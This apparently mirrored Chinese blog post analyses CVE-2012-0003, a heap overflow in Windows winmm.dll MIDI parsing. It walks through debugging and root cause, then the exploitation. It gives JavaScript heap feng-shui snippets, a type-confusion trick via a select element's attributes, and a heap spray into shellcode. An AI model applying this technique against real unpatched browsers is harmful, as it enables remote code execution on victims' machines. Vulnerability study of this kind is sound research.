美文网首页
CVE-2012-0003

CVE-2012-0003

作者: BJChangAn | 来源:发表于2018-05-27 21:30 被阅读0次

    1. 辅助调试 :gflags开启堆页

    gflags开启堆页

    与普通堆相比页堆有很大的不同,每个堆块至少占用两个内存页。在存放用户数据的第一个内存页后面,堆管理器会额外多分配一个内存页。这个内存页是用来检测溢出的,被称为栅栏页。

    栅栏页的属性为PAEG_NOACCESS,因此一旦用户数据发生溢出触及到栅栏页便会引发异常,使调试人员第一时间发现问题,从而可以迅速定位到导致溢出的代码。

    有人也许会有疑问,当堆块非常小时,难道也是占用两个内存页么?答案是肯定的。为了及时检测溢出,堆块被放到第一个内存页的末尾紧邻栅栏页,因此第一个内存页前面的大半部分有可能都是没有被使用的。由于分配粒度为8byte,堆块和栅栏页之间可能会有填充字段。对于很小的堆块也需要占用两个内存页,这是很耗费空间的。

    2. MIDI文件格式

    闲暇时间是个不错的选择 ( ╯ ‵ □ ′ ) ╯ ︵ ┻━┻

    音轨事件结构
    事件类型 格式 描述
    关闭音符(Note Off) 0x8n note velocity n通道号,note音高,velocity按键速度
    打开音符(Note On) 0x9n note velocity n通道号,note音高,velocity按键速度
    触后音符(Note Aftertouch) 0xAn note amount n通道号,note音高,amount按压力度

    3.基于导图推算的漏洞分析方法

    下载pdb文件:

    symchk /r E:\dll /s SRV*E:\pdb*http://msdl.microsoft.com/download/symbols

    漏洞在微软的多媒体库winmm.dll中。记得先把system32下的winmm.dll替换成有漏洞的版本,以及留个备份。

    windows media player的版本可以不用太强求,wmplayer10就行。然后IE6。

    immunity debugger附加到ie上,然后打开poc.html,因为开启了页堆的原因,当发生堆访问越界时程序立刻断下来了:


    ida看一下漏洞所在的函数,是一个叫做midiOutPlayNextPolyEvent的函数(可以加载微软官方符号表来识别函数名)
    实际上是访问*v25[esi]的时候发生了堆访问越界。v25的值主要受v24v20的影响。其中:

    而v1的值来自函数的参数wParam,所以v20导致崩溃的可能性很低,所以重点看下v24的来源。

    接下来需要分析一下v24的变量传播的路径。

    这里我想到借助ida python自动化完成这里的变量传播静态分析,但是遇到了一些问题:idapython:How can I get xref to a stack variable in the form of pseudocode

    手动+眼力分析,最后得出v24的值与wParam,v2,v9,v11,v13,v21有关,对这几个变量在immunity debugger中shift+F4条件记录断点,运行后得到log:

    v2wParam是不变的,v9是递增的计数器,v11v13相等,v12v11的最后一个字节,根据漏洞报告中触发漏洞的是0x9x或0x8x的音轨事件,再看下v11v21,很容易猜到v11就是包含参数的音轨事件,而v21就是音轨事件类型。

    触发漏洞的音轨块

    在读取音轨事件处shift+F2下条件断点,当[ebx+eax]==0x007db29f时断下:

    读取音轨事件
    继续往后跟:

    实际上可以看到,漏洞成因是由Note On事件计算地址偏移导致的访问越界,其中v24是一个过大的偏移值(大于堆块大小),v20是访问基址,实际调试v20的值0x045A2C00
    看一下0x45a2c00的内容

    对windows xp sp3的堆结构还没有什么了解,但从0x45a2c00往前看好像并没有找到堆块的头部。

    另一种思路只能确认下这个地址的来源:

    1. 确认v20的来源:

    2. v1又来自wParam即漏洞函数sub_76B2D038的参数。

    3. 交叉引用查看对sub_76B2D038的调用:

    4. 漏洞函数的参数v6来自全局变量gpEmuList

    5. gpEmuList的交叉引用:

    ESI = v20
           = *(gpEmuList+0x84);
           = *(v7+0x84);
           = v8
           = winmmAlloc(0x400u);
    
    1. winmmAlloc()函数内容:

    就是一个HeapAlloc啊,堆块头部嘞?此处留坑

    到这里漏洞的成因也已经很明显了,使用HeapAlloc申请了一块0x400大小的堆块VulBuffer,但是之后访问了这个堆块的偏移0x419,造成了堆的越界访问

    4. 漏洞利用

    首先把gflags关了(N次失败之后,每次都是执行到漏洞点结果直接抛出异常了?是gflags没关掉还是啥原因哟> <,然后换成ie8并且恢复到一个远古时期的虚拟机镜像后终于成功了)

    4.1 重新回顾一下漏洞:

    • 是一个计算偏移值错误导致的堆越界访问,堆块VulBuffer原本大小为0x400,实际访问偏移0x419位置的内存。
    • 越界访问后会将偏移0x419处的一字节+1


      off-by-one

    4.2 漏洞利用原理:

    1.先创建select元素selob,并为其设置64个属性,其中只有w1为String类型,其余均为object类型。可以计算出selob的大小为64*0x10=0x400字节(构造UAF的条件)

    var selob = document.createElement("select")
    selob.w0 = alert
    selob.w1 = unescape("%0c0c %u0c0c")
    selob.w2 = alert
    ...
    ...
    selob.w62=alert
    selob.w63=alert
    

    selob在内存中的内容:


    其中09代表object类型,08代表string类型,03代表int

    2.然后创建一个大小为1000的数组clones,利用selob元素的cloneNode方法循环复制数据到数组clones;最后再间隔地释放clones数组中的元素;

    var clones=new Array(1000);
    function feng_shui(){
        var i=0;
        while(i<1000){
            clones[i] = selob.cloneNode(true)
            i=i+1;
        }
    
    var j = 0;
    while(j<1000){
        delete clones[j];
        CollectGarbage();
        j = j+2;
        }
    }
    

    溢出后将w1的类型标识+1变为09,之后会将w1视作一个object类型。调用该属性对象的函数会去索引虚表(每个对象的头4字节即为虚表指针)。
    从而可以通过selob.w1的string内容来控制虚表指针,导致执行任意代码。

    索引虚表
    string内容 ecx

    可以看到此时的ecx的值正是我们声明string的值。

    4.3 又是堆喷射:

    上堆喷射!

    此时ecx=0C0C1BDC
    [ecx+4]的内容刚好是我们用来填充的\xc0\xc0\xc0\xc0
    跟进call [ecx+4]会发现成功执行到0xC0C0C0C0的slide中

    slide

    一路滑向shellcode(系统关闭DEP):

    关于如何利用ROP绕过DEP并执行shellcode有待进一步探究。

    相关文章

      网友评论

          本文标题:CVE-2012-0003

          本文链接:https://www.haomeiwen.com/subject/ybiqdftx.html